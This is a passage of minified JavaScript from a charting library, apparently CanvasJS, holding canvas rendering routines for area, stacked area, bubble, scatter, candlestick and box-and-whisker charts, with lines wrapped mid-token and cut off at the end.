B>a.axisX.dataInfo.viewPortMax&&(!q.connectNullData||!h)))if("number"!==typeof
n[f].y)0<f&&!h&&(q.connectNullData?
c.setLineDash&&(0<x.length&&(q.options.nullDataLineDashType||
!n[f-1].lineDashType))&&(x[x.length-
1].newLineDashArray=aa,z=q.nullDataLineDashType):(d(),x=[])),h=!
0;else{B=a.axisX.convertValueToPixel(B);h=a.axisY.convertValueToPixel(n[f].y);var
Y=q.dataPointIds[f];this._eventManager.objectMap[Y]={id:Y,objectType:"dataPoint",da
taSeriesIndex:s,dataPointIndex:f,x1:B,y1:h};x[x.length]={x:B,y:h};f<n.length-1&&(A!
==(n[f].lineColor||y)||z!==(n[f].lineDashType||
q.lineDashType))&&(A=n[f].lineColor||y,x[x.length-
1].newStrokeStyle=A,c.setLineDash&&(n[f].lineDashType?(z=
n[f].lineDashType,x[x.length-1].newLineDashArray=R(z,q.lineThickness)):
(z=q.lineDashType,x[x.length-1].newLineDashArray=T)));if(0!
==n[f].markerSize&&(0<n[f].markerSize||0<q.markerSize)){var
ca=q.getMarkerProperties(f,B,h,c);l.push(ca);Y=N(Y);r&&l.push({x:B,y:h,ctx:e,type:c
a.type,size:ca.size,color:Y,borderColor:Y,borderThickness:ca.borderThickness})}
(n[f].indexLabel||q.indexLabel||n[f].indexLabelFormatter||
q.indexLabelFormatter)&&this._indexLabels.push({chartType:"splineArea",dataPoint:n[
f],dataSeries:q,
point:{x:B,y:h},direction:0>n[f].y===a.axisY.reversed?1:-1,color:ma});h=!
1}d();ia.drawMarkers(l)}}r&&(b.drawImage(this._preRenderCanvas,0,0,this.width,this.
height),c.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&c.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&c.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),c.clearRect(w.x1,w.y1,w.width,w.height),
this._eventManager.ghostCtx.restore());c.restore();return{source:b,dest:this.plotAr
ea.ctx,animationCallback:M.xClipAnimation,easingFunction:M.easing.linear,animationB
ase:0}}};p.prototype.renderStepArea=function(a){var d,b;function c()
{A&&(0<B.lineThickness&&g.stroke(),a.axisY.logarithmic||
0>=a.axisY.viewportMinimum&&0<=a.axisY.viewportMaximum?
y=v:0>a.axisY.viewportMaximum?
y=w.y1:0<a.axisY.viewportMinimum&&(y=l.y2),g.lineTo(t,y),g.lineTo(A.x,y),g.closePat
h(),g.globalAlpha=B.fillOpacity,g.fill(),g.globalAlpha=
1,r&&(k.lineTo(t,y),k.lineTo(A.x,y),k.closePath(),k.fill()),g.beginPath(),g.moveTo(
t,u),k.beginPath(),k.moveTo(t,u),A={x:t,y:u})}var e=a.targetCanvasCtx||
this.plotArea.ctx,g=r?this._preRenderCtx:e;if(!(0>=a.dataSeriesIndexes.length)){var
k=this._eventManager.ghostCtx,l=a.axisX.lineCoordinates,w=a.axisY.lineCoordinates,m
=[],s=this.plotArea,q;g.save();r&&k.save();g.beginPath();g.rect(s.x1,s.y1,s.width,s
.height);g.clip();r&&(k.beginPath(),k.rect(s.x1,s.y1,s.width,s.height),k.clip());fo
r(var n=0;n<a.dataSeriesIndexes.length;n++){var f=
a.dataSeriesIndexes[n],B=this.data[f],h=B.dataPoints,m=B.id;this._eventManager.obje
ctMap[m]={objectType:"dataSeries",dataSeriesIndex:f};m=N(m);k.fillStyle=m;m=[];d=!
0;var p=0,t,u,x,v=a.axisY.convertValueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),y,A=null;b=!1;if(0<h.length){var z=B._colorSet[p
%B._colorSet.length],aa=B.lineColor=B.options.lineColor||
z,T=aa;g.fillStyle=z;g.strokeStyle=aa;g.lineWidth=B.lineThickness;var
Y="solid";if(g.setLineDash){var ca=R(B.nullDataLineDashType,B.lineThickness),
Y=B.lineDashType,da=R(Y,B.lineThickness);g.setLineDash(da)}for(;p<h.length;p+
+)if(x=h[p].x.getTime?h[p].x.getTime():h[p].x,!(x<a.axisX.dataInfo.viewPortMin||
x>a.axisX.dataInfo.viewPortMax&&(!B.connectNullData||!b))){var Z=u;"number"!
==typeof h[p].y?(B.connectNullData||(b||d)||c(),b=!0):
(t=a.axisX.convertValueToPixel(x),u=a.axisY.convertValueToPixel(h[p].y),d||b?(!
d&&B.connectNullData?(g.setLineDash&&(B.options.nullDataLineDashType||
Y===B.lineDashType&&B.lineDashType!==B.nullDataLineDashType)&&(d=
t,b=u,t=q.x,u=q.y,c(),g.moveTo(q.x,q.y),t=d,u=b,A=q,Y=B.nullDataLineDashType,g.setL
ineDash(ca)),g.lineTo(t,Z),g.lineTo(t,u),r&&(k.lineTo(t,Z),k.lineTo(t,u))):
(g.beginPath(),g.moveTo(t,u),r&&(k.beginPath(),k.moveTo(t,u)),A={x:t,y:u}),b=d=!1):
(g.lineTo(t,Z),r&&k.lineTo(t,Z),g.lineTo(t,u),r&&k.lineTo(t,u),0==p
%250&&c()),q={x:t,y:u},p<h.length-1&&(T!==(h[p].lineColor||aa)||Y!
==(h[p].lineDashType||B.lineDashType))&&(c(),T=h[p].lineColor||
aa,g.strokeStyle=T,g.setLineDash&&(h[p].lineDashType?(Y=h[p].lineDashType,
g.setLineDash(R(Y,B.lineThickness))):
(Y=B.lineDashType,g.setLineDash(da)))),x=B.dataPointIds[p],this._eventManager.objec
tMap[x]={id:x,objectType:"dataPoint",dataSeriesIndex:f,dataPointIndex:p,x1:t,y1:u},
0!==h[p].markerSize&&(0<h[p].markerSize||
0<B.markerSize)&&(Z=B.getMarkerProperties(p,t,u,g),m.push(Z),x=N(x),r&&m.push({x:t,
y:u,ctx:k,type:Z.type,size:Z.size,color:x,borderColor:x,borderThickness:Z.borderThi
ckness})),(h[p].indexLabel||B.indexLabel||h[p].indexLabelFormatter||
B.indexLabelFormatter)&&
this._indexLabels.push({chartType:"stepArea",dataPoint:h[p],dataSeries:B,point:
{x:t,y:u},direction:0>h[p].y===a.axisY.reversed?1:-
1,color:z}))}c();ia.drawMarkers(m)}}r&&(e.drawImage(this._preRenderCanvas,0,0,this.
width,this.height),g.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&g.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&g.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,
0,0,this.width,this.height),g.clearRect(s.x1,s.y1,s.width,s.height),this._eventMana
ger.ghostCtx.restore());g.restore();return{source:e,dest:this.plotArea.ctx,animatio
nCallback:M.xClipAnimation,easingFunction:M.easing.linear,animationBase:0}}};p.prot
otype.renderStackedArea=function(a){function d(){if(!(1>m.length))
{for(0<A.lineThickness&&c.stroke();0<m.length;){var
a=m.pop();c.lineTo(a.x,a.y);r&&u.lineTo(a.x,a.y)}c.closePath();c.globalAlpha=A.fill
Opacity;c.fill();c.globalAlpha=1;c.beginPath();r&&(u.closePath(),
u.fill(),u.beginPath());m=[]}}var b=a.targetCanvasCtx||this.plotArea.ctx,c=r?
this._preRenderCtx:b;if(!(0>=a.dataSeriesIndexes.length)){var
e=null,g=null,k=[],l=this.plotArea,w=[],m=[],s=[],q=[],n=0,f,h,p=a.axisY.convertVal
ueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),u=this._eventManager.ghostCtx,t,C,x;r&&u.beginPath();c.s
ave();r&&u.save();c.beginPath();c.rect(l.x1,l.y1,l.width,l.height);c.clip();r&&(u.b
eginPath(),u.rect(l.x1,l.y1,l.width,l.height),u.clip());for(var
e=[],v=0;v<a.dataSeriesIndexes.length;v++){var y=
a.dataSeriesIndexes[v],A=this.data[y],z=A.dataPoints;A.dataPointIndexes=[];for(n=0;
n<z.length;n++)y=z[n].x.getTime?
z[n].x.getTime():z[n].x,A.dataPointIndexes[y]=n,e[y]||(s.push(y),e[y]=!
0);s.sort(Sa)}for(v=0;v<a.dataSeriesIndexes.length;v++)
{y=a.dataSeriesIndexes[v];A=this.data[y];z=A.dataPoints;C=!
0;m=[];n=A.id;this._eventManager.objectMap[n]={objectType:"dataSeries",dataSeriesIn
dex:y};n=N(n);u.fillStyle=n;if(0<s.length){var
e=A._colorSet[0],aa=A.lineColor=A.options.lineColor||e,T=aa;c.fillStyle=
e;c.strokeStyle=aa;c.lineWidth=A.lineThickness;x="solid";if(c.setLineDash){var
Y=R(A.nullDataLineDashType,A.lineThickness);x=A.lineDashType;var
ca=R(x,A.lineThickness);c.setLineDash(ca)}for(var da=!0,n=0;n<s.length;n++){var
g=s[n],Z=null,Z=0<=A.dataPointIndexes[g]?z[A.dataPointIndexes[g]]:{x:g,y:null};if(!
(g<a.axisX.dataInfo.viewPortMin||g>a.axisX.dataInfo.viewPortMax&&(!
A.connectNullData||!da)))if("number"!==typeof Z.y)A.connectNullData||(da||C)||
d(),da=!0;else{f=a.axisX.convertValueToPixel(g);var oa=
w[g]?w[g]:0;if(a.axisY.logarithmic||
a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length){q[g]=Z.y+(q[g]?
q[g]:0);if(0>=q[g]&&a.axisY.logarithmic)continue;h=a.axisY.convertValueToPixel(q[g]
)}else h=a.axisY.convertValueToPixel(Z.y),h-=oa;m.push({x:f,y:p-oa});w[g]=p-h;C||
da?(!C&&A.connectNullData?(c.setLineDash&&(A.options.nullDataLineDashType||
x===A.lineDashType&&A.lineDashType!
==A.nullDataLineDashType)&&(C=m.pop(),x=m[m.length-
1],d(),c.moveTo(t.x,t.y),m.push(x),m.push(C),x=A.nullDataLineDashType,
c.setLineDash(Y)),c.lineTo(f,h),r&&u.lineTo(f,h)):
(c.beginPath(),c.moveTo(f,h),r&&(u.beginPath(),u.moveTo(f,h))),da=C=!1):
(c.lineTo(f,h),r&&u.lineTo(f,h),0==n
%250&&(d(),c.moveTo(f,h),r&&u.moveTo(f,h),m.push({x:f,y:p-
oa})));t={x:f,y:h};n<z.length-1&&(T!==(z[n].lineColor||aa)||x!
==(z[n].lineDashType||
A.lineDashType))&&(d(),c.beginPath(),c.moveTo(f,h),m.push({x:f,y:p-
oa}),T=z[n].lineColor||aa,c.strokeStyle=T,c.setLineDash&&(z[n].lineDashType?
(x=z[n].lineDashType,c.setLineDash(R(x,A.lineThickness))):
(x=A.lineDashType,c.setLineDash(ca))));if(0<=A.dataPointIndexes[g]){var
la=A.dataPointIds[A.dataPointIndexes[g]];this._eventManager.objectMap[la]={id:la,ob
jectType:"dataPoint",dataSeriesIndex:y,dataPointIndex:A.dataPointIndexes[g],x1:f,y1
:h}}0<=A.dataPointIndexes[g]&&0!==Z.markerSize&&(0<Z.markerSize||
0<A.markerSize)&&(oa=A.getMarkerProperties(A.dataPointIndexes[g],f,h,c),k.push(oa),
g=N(la),r&&k.push({x:f,y:h,ctx:u,type:oa.type,size:oa.size,color:g,borderColor:g,bo
rderThickness:oa.borderThickness}));
(Z.indexLabel||A.indexLabel||Z.indexLabelFormatter||
A.indexLabelFormatter)&&this._indexLabels.push({chartType:"stackedArea",dataPoint:Z
,dataSeries:A,point:{x:f,y:h},direction:0>z[n].y===a.axisY.reversed?1:-
1,color:e})}}d();c.moveTo(f,h);r&&u.moveTo(f,h)}delete
A.dataPointIndexes}ia.drawMarkers(k);r&&(b.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),c.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&c.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&
c.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),this._breaksCanvasCtx&&t
his._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this.width,this.height),c.
clearRect(l.x1,l.y1,l.width,l.height),u.restore());c.restore();return{source:b,dest
:this.plotArea.ctx,animationCallback:M.xClipAnimation,easingFunction:M.easing.linea
r,animationBase:0}}};p.prototype.renderStackedArea100=function(a){function d()
{for(0<A.lineThickness&&c.stroke();0<m.length;){var
a=m.pop();c.lineTo(a.x,a.y);r&&x.lineTo(a.x,
a.y)}c.closePath();c.globalAlpha=A.fillOpacity;c.fill();c.globalAlpha=1;c.beginPath
();r&&(x.closePath(),x.fill(),x.beginPath());m=[]}var b=a.targetCanvasCtx||
this.plotArea.ctx,c=r?this._preRenderCtx:b;if(!(0>=a.dataSeriesIndexes.length)){var
e=null,g=null,k=this.plotArea,l=[],w=[],m=[],s=[],q=[],n=0,f,h,p,u,t,C=a.axisY.conv
ertValueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),x=this._eventManager.ghostCtx;c.save();r&&x.save();c.beg
inPath();c.rect(k.x1,k.y1,k.width,k.height);c.clip();r&&(x.beginPath(),
x.rect(k.x1,k.y1,k.width,k.height),x.clip());for(var
e=[],v=0;v<a.dataSeriesIndexes.length;v++){var
y=a.dataSeriesIndexes[v],A=this.data[y],z=A.dataPoints;A.dataPointIndexes=[];for(n=
0;n<z.length;n++)y=z[n].x.getTime?
z[n].x.getTime():z[n].x,A.dataPointIndexes[y]=n,e[y]||(s.push(y),e[y]=!
0);s.sort(Sa)}for(v=0;v<a.dataSeriesIndexes.length;v++)
{y=a.dataSeriesIndexes[v];A=this.data[y];z=A.dataPoints;u=!
0;e=A.id;this._eventManager.objectMap[e]={objectType:"dataSeries",dataSeriesIndex:y
};e=N(e);x.fillStyle=
e;m=[];if(0<s.length){var e=A._colorSet[n
%A._colorSet.length],aa=A.lineColor=A.options.lineColor||
e,T=aa;c.fillStyle=e;c.strokeStyle=aa;c.lineWidth=A.lineThickness;t="solid";if(c.se
tLineDash){var Y=R(A.nullDataLineDashType,A.lineThickness);t=A.lineDashType;var
ca=R(t,A.lineThickness);c.setLineDash(ca)}for(var da=!0,n=0;n<s.length;n++){var
g=s[n],Z=null,Z=0<=A.dataPointIndexes[g]?z[A.dataPointIndexes[g]]:{x:g,y:null};if(!
(g<a.axisX.dataInfo.viewPortMin||g>a.axisX.dataInfo.viewPortMax&&(!
A.connectNullData||
!da)))if("number"!==typeof Z.y)A.connectNullData||(da||u)||d(),da=!0;else{var
oa;oa=0!==a.dataPointYSums[g]?
100*(Z.y/a.dataPointYSums[g]):0;f=a.axisX.convertValueToPixel(g);var la=w[g]?
w[g]:0;if(a.axisY.logarithmic||
a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length){q[g]=oa+(q[g]?
q[g]:0);if(0>=q[g]&&a.axisY.logarithmic)continue;h=a.axisY.convertValueToPixel(q[g]
)}else h=a.axisY.convertValueToPixel(oa),h-=la;m.push({x:f,y:C-la});w[g]=C-h;u||da?
(!u&&A.connectNullData?(c.setLineDash&&
(A.options.nullDataLineDashType||t===A.lineDashType&&A.lineDashType!
==A.nullDataLineDashType)&&(u=m.pop(),t=m[m.length-
1],d(),c.moveTo(p.x,p.y),m.push(t),m.push(u),t=A.nullDataLineDashType,c.setLineDash
(Y)),c.lineTo(f,h),r&&x.lineTo(f,h)):
(c.beginPath(),c.moveTo(f,h),r&&(x.beginPath(),x.moveTo(f,h))),da=u=!1):
(c.lineTo(f,h),r&&x.lineTo(f,h),0==n
%250&&(d(),c.moveTo(f,h),r&&x.moveTo(f,h),m.push({x:f,y:C-
la})));p={x:f,y:h};n<z.length-1&&(T!==(z[n].lineColor||aa)||t!
==(z[n].lineDashType||A.lineDashType))&&
(d(),c.beginPath(),c.moveTo(f,h),m.push({x:f,y:C-la}),T=z[n].lineColor||
aa,c.strokeStyle=T,c.setLineDash&&(z[n].lineDashType?
(t=z[n].lineDashType,c.setLineDash(R(t,A.lineThickness))):
(t=A.lineDashType,c.setLineDash(ca))));if(0<=A.dataPointIndexes[g]){var
G=A.dataPointIds[A.dataPointIndexes[g]];this._eventManager.objectMap[G]={id:G,objec
tType:"dataPoint",dataSeriesIndex:y,dataPointIndex:A.dataPointIndexes[g],x1:f,y1:h}
}0<=A.dataPointIndexes[g]&&0!==Z.markerSize&&(0<Z.markerSize||0<A.markerSize)&&(la=
A.getMarkerProperties(n,f,h,c),l.push(la),g=N(G),r&&l.push({x:f,y:h,ctx:x,type:la.t
ype,size:la.size,color:g,borderColor:g,borderThickness:la.borderThickness}));
(Z.indexLabel||A.indexLabel||Z.indexLabelFormatter||
A.indexLabelFormatter)&&this._indexLabels.push({chartType:"stackedArea100",dataPoin
t:Z,dataSeries:A,point:{x:f,y:h},direction:0>z[n].y===a.axisY.reversed?1:-
1,color:e})}}d();c.moveTo(f,h);r&&x.moveTo(f,h)}delete
A.dataPointIndexes}ia.drawMarkers(l);r&&(b.drawImage(this._preRenderCanvas,0,
0,this.width,this.height),c.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&c.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&c.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),c.clearRect(k.x1,k.y1,k.width,k.height),x.restore());c.restore(
);return{source:b,dest:this.plotArea.ctx,animationCallback:M.xClipAnimation,easingF
unction:M.easing.linear,animationBase:0}}};
p.prototype.renderBubble=function(a){var d=a.targetCanvasCtx||
this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!(0>=a.dataSeriesIndexes.length)){var
c=this.plotArea,e=0,g,k;b.save();r&&this._eventManager.ghostCtx.save();b.beginPath(
);b.rect(c.x1,c.y1,c.width,c.height);b.clip();r&&(this._eventManager.ghostCtx.begin
Path(),this._eventManager.ghostCtx.rect(c.x1,c.y1,c.width,c.height),this._eventMana
ger.ghostCtx.clip());for(var l=-
Infinity,w=Infinity,m=0;m<a.dataSeriesIndexes.length;m++)for(var
s=a.dataSeriesIndexes[m],
q=this.data[s],n=q.dataPoints,f=0,e=0;e<n.length;e++)g=n[e].getTime?
g=n[e].x.getTime():g=n[e].x,g<a.axisX.dataInfo.viewPortMin||
g>a.axisX.dataInfo.viewPortMax||"undefined"===typeof n[e].z||
(f=n[e].z,f>l&&(l=f),f<w&&(w=f));for(var
h=25*Math.PI,p=Math.max(Math.pow(0.25*Math.min(c.height,c.width)/2,2)*Math.PI,h),m=
0;m<a.dataSeriesIndexes.length;m+
+)if(s=a.dataSeriesIndexes[m],q=this.data[s],n=q.dataPoints,0<n.length)for(b.stroke
Style="#4572A7 ",e=0;e<n.length;e++)if(g=n[e].getTime?g=n[e].x.getTime():
g=n[e].x,!(g<a.axisX.dataInfo.viewPortMin||
g>a.axisX.dataInfo.viewPortMax)&&"number"===typeof n[e].y)
{g=a.axisX.convertValueToPixel(g);k=a.axisY.convertValueToPixel(n[e].y);var
f=n[e].z,u=2*Math.max(Math.sqrt((l===w?p/2:h+(p-h)/(l-w)*(f-
w))/Math.PI)<<0,1),f=q.getMarkerProperties(e,b);f.size=u;b.globalAlpha=q.fillOpacit
y;ia.drawMarker(g,k,b,f.type,f.size,f.color,f.borderColor,f.borderThickness);b.glob
alAlpha=1;var
t=q.dataPointIds[e];this._eventManager.objectMap[t]={id:t,objectType:"dataPoint",da
taSeriesIndex:s,
dataPointIndex:e,x1:g,y1:k,size:u};u=N(t);r&&ia.drawMarker(g,k,this._eventManager.g
hostCtx,f.type,f.size,u,u,f.borderThickness);(n[e].indexLabel||q.indexLabel||
n[e].indexLabelFormatter||
q.indexLabelFormatter)&&this._indexLabels.push({chartType:"bubble",dataPoint:n[e],d
ataSeries:q,point:{x:g,y:k},direction:1,bounds:{x1:g-f.size/2,y1:k-
f.size/2,x2:g+f.size/2,y2:k+f.size/2},color:null})}r&&(d.drawImage(this._preRenderC
anvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&
b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height),a.axisY.maskCanvas&&b.dr
awImage(a.axisY.maskCanvas,0,0,this.width,this.height),this._breaksCanvasCtx&&this.
_breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this.width,this.height),b.clea
rRect(c.x1,c.y1,c.width,c.height),this._eventManager.ghostCtx.restore());b.restore(
);return{source:d,dest:this.plotArea.ctx,animationCallback:M.fadeInAnimation,easing
Function:M.easing.easeInQuad,animationBase:0}}};p.prototype.renderScatter=function(
a){var d=
a.targetCanvasCtx||this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!
(0>=a.dataSeriesIndexes.length)){var
c=this.plotArea,e=0,g,k;b.save();r&&this._eventManager.ghostCtx.save();b.beginPath(
);b.rect(c.x1,c.y1,c.width,c.height);b.clip();r&&(this._eventManager.ghostCtx.begin
Path(),this._eventManager.ghostCtx.rect(c.x1,c.y1,c.width,c.height),this._eventMana
ger.ghostCtx.clip());for(var l=0;l<a.dataSeriesIndexes.length;l++){var
w=a.dataSeriesIndexes[l],m=this.data[w],s=m.dataPoints;if(0<s.length)
{b.strokeStyle=
"#4572A7 ";Math.pow(0.3*Math.min(c.height,c.width)/2,2);for(var
q=0,n=0,e=0;e<s.length;e++)if(g=s[e].getTime?g=s[e].x.getTime():g=s[e].x,!
(g<a.axisX.dataInfo.viewPortMin||g>a.axisX.dataInfo.viewPortMax)&&"number"===typeof
s[e].y){g=a.axisX.convertValueToPixel(g);k=a.axisY.convertValueToPixel(s[e].y);var
f=m.getMarkerProperties(e,g,k,b);b.globalAlpha=m.fillOpacity;ia.drawMarker(f.x,f.y,
f.ctx,f.type,f.size,f.color,f.borderColor,f.borderThickness);b.globalAlpha=1;Math.s
qrt((q-g)*(q-g)+(n-k)*(n-k))<Math.min(f.size,
5)&&s.length>Math.min(this.plotArea.width,this.plotArea.height)||
(q=m.dataPointIds[e],this._eventManager.objectMap[q]={id:q,objectType:"dataPoint",d
ataSeriesIndex:w,dataPointIndex:e,x1:g,y1:k},q=N(q),r&&ia.drawMarker(f.x,f.y,this._
eventManager.ghostCtx,f.type,f.size,q,q,f.borderThickness),(s[e].indexLabel||
m.indexLabel||s[e].indexLabelFormatter||
m.indexLabelFormatter)&&this._indexLabels.push({chartType:"scatter",dataPoint:s[e],
dataSeries:m,point:{x:g,y:k},direction:1,bounds:{x1:g-f.size/2,y1:k-f.size/
2,x2:g+f.size/2,y2:k+f.size/2},color:null}),q=g,n=k)}}}r&&(d.drawImage(this._preRen
derCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(c.x1,c.y1,c.width,c.height),this._eventManager.ghos
tCtx.restore());
b.restore();return{source:d,dest:this.plotArea.ctx,animationCallback:M.fadeInAnimat
ion,easingFunction:M.easing.easeInQuad,animationBase:0}}};p.prototype.renderCandles
tick=function(a){var d=a.targetCanvasCtx||this.plotArea.ctx,b=r?
this._preRenderCtx:d,c=this._eventManager.ghostCtx;if(!
(0>=a.dataSeriesIndexes.length)){var
e=null,g=null,k=this.plotArea,l=0,w,m,s,q,n,f,e=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1,g=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:0.015*this.width,h=a.axisX.dataInfo.minDiff;isFinite(h)||
(h=0.3*Math.abs(a.axisX.range));h=this.options.dataPointWidth?
this.dataPointWidth:0.7*k.width*(a.axisX.logarithmic?
Math.log(h)/Math.log(a.axisX.range):Math.abs(h)/Math.abs(a.axisX.range))<<0;this.da
taPointMaxWidth&&e>g&&(e=Math.min(this.options.dataPointWidth?
this.dataPointWidth:Infinity,g));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&g<e)&&(g=Math.max(this.options.dat
aPointWidth?
this.dataPointWidth:-
Infinity,e));h<e&&(h=e);h>g&&(h=g);b.save();r&&c.save();b.beginPath();b.rect(k.x1,k
.y1,k.width,k.height);b.clip();r&&(c.beginPath(),c.rect(k.x1,k.y1,k.width,k.height)
,c.clip());for(var p=0;p<a.dataSeriesIndexes.length;p++){var
v=a.dataSeriesIndexes[p],t=this.data[v],C=t.dataPoints;if(0<C.length)for(var
x=5<h&&t.bevelEnabled?!0:!1,l=0;l<C.length;l++)if(C[l].getTime?
f=C[l].x.getTime():f=C[l].x,!(f<a.axisX.dataInfo.viewPortMin||
f>a.axisX.dataInfo.viewPortMax)&&!u(C[l].y)&&C[l].y.length&&
"number"===typeof C[l].y[0]&&"number"===typeof C[l].y[1]&&"number"===typeof
C[l].y[2]&&"number"===typeof C[l].y[3])
{w=a.axisX.convertValueToPixel(f);m=a.axisY.convertValueToPixel(C[l].y[0]);s=a.axis
Y.convertValueToPixel(C[l].y[1]);q=a.axisY.convertValueToPixel(C[l].y[2]);n=a.axisY
.convertValueToPixel(C[l].y[3]);var z=w-h/2<<0,y=z+h<<0,g=t.options.fallingColor?
t.fallingColor:t._colorSet[0],e=C[l].color?
C[l].color:t._colorSet[0],A=Math.round(Math.max(1,0.15*h)),D=0===A%2?
0:0.5,aa=t.dataPointIds[l];
this._eventManager.objectMap[aa]={id:aa,objectType:"dataPoint",dataSeriesIndex:v,da
taPointIndex:l,x1:z,y1:m,x2:y,y2:s,x3:w,y3:q,x4:w,y4:n,borderThickness:A,color:e};b
.strokeStyle=e;b.beginPath();b.lineWidth=A;c.lineWidth=Math.max(A,4);"candlestick"=
==t.type?(b.moveTo(w-D,s),b.lineTo(w-D,Math.min(m,n)),b.stroke(),b.moveTo(w-
D,Math.max(m,n)),b.lineTo(w-
D,q),b.stroke(),ea(b,z,Math.min(m,n),y,Math.max(m,n),C[l].y[0]<=C[l].y[3]?
t.risingColor:g,A,e,x,x,!1,!
1,t.fillOpacity),r&&(e=N(aa),c.strokeStyle=e,c.moveTo(w-
D,s),c.lineTo(w-D,Math.min(m,n)),c.stroke(),c.moveTo(w-D,Math.max(m,n)),c.lineTo(w-
D,q),c.stroke(),ea(c,z,Math.min(m,n),y,Math.max(m,n),e,0,null,!1,!1,!1,!
1))):"ohlc"===t.type&&(b.moveTo(w-D,s),b.lineTo(w-
D,q),b.stroke(),b.beginPath(),b.moveTo(w,m),b.lineTo(z,m),b.stroke(),b.beginPath(),
b.moveTo(w,n),b.lineTo(y,n),b.stroke(),r&&(e=N(aa),c.strokeStyle=e,c.moveTo(w-
D,s),c.lineTo(w-
D,q),c.stroke(),c.beginPath(),c.moveTo(w,m),c.lineTo(z,m),c.stroke(),c.beginPath(),
c.moveTo(w,n),c.lineTo(y,n),c.stroke()));
(C[l].indexLabel||t.indexLabel||C[l].indexLabelFormatter||
t.indexLabelFormatter)&&this._indexLabels.push({chartType:t.type,dataPoint:C[l],dat
aSeries:t,point:{x:z+(y-z)/2,y:a.axisY.reversed?q:s},direction:1,bounds:
{x1:z,y1:Math.min(s,q),x2:y,y2:Math.max(s,q)},color:e})}}r&&(d.drawImage(this._preR
enderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,
0,0,this.width,this.height),this._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(
this._preRenderCanvas,0,0,this.width,this.height),b.clearRect(k.x1,k.y1,k.width,k.h
eight),c.restore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCal
lback:M.fadeInAnimation,easingFunction:M.easing.easeInQuad,animationBase:0}}};p.pro
totype.renderBoxAndWhisker=function(a){var d=a.targetCanvasCtx||
this.plotArea.ctx,b=r?this._preRenderCtx:d,c=this._eventManager.ghostCtx;if(!
(0>=a.dataSeriesIndexes.length)){var e=
null,g=this.plotArea,k=0,l,w,m,s,q,n,f,e=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1,k=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:0.015*this.width,h=a.axisX.dataInfo.minDiff;isFinite(h)||
(h=0.3*Math.abs(a.axisX.range));h=this.options.dataPointWidth?
this.dataPointWidth:0.7*g.width*(a.axisX.logarithmic?
Math.log(h)/Math.log(a.axisX.range):Math.abs(h)/Math.abs(a.axisX.range))<<0;this.da
taPointMaxWidth&&
e>k&&(e=Math.min(this.options.dataPointWidth?this.dataPointWidth:Infinity,k));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&k<e)&&(k=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,e));h<e&&(h=e);h>k&&(h=k);b.save();r&&c.save();b.beginPath();b.rect(g.x1,g
.y1,g.width,g.height);b.clip();r&&(c.beginPath(),c.rect(g.x1,g.y1,g.width,g.height)
,c.clip());for(var p=!1,p=!!a.axisY.reversed,v=0;v<a.dataSeriesIndexes.length;v++)
{var t=a.dataSeriesIndexes[v],C=this.data[t],x=C.dataPoints;
if(0<x.length)for(var z=5<h&&C.bevelEnabled?!0:!1,k=0;k<x.length;k+
+)if(x[k].getTime?f=x[k].x.getTime():f=x[k].x,!(f<a.axisX.dataInfo.viewPortMin||
f>a.axisX.dataInfo.viewPortMax)&&!u(x[k].y)&&x[k].y.length&&"number"===typeof
x[k].y[0]&&"number"===typeof x[k].y[1]&&"number"===typeof
x[k].y[2]&&"number"===typeof x[k].y[3]&&"number"===typeof
x[k].y[4]&&5===x[k].y.length)
{l=a.axisX.convertValueToPixel(f);w=a.axisY.convertValueToPixel(x[k].y[0]);m=a.axis
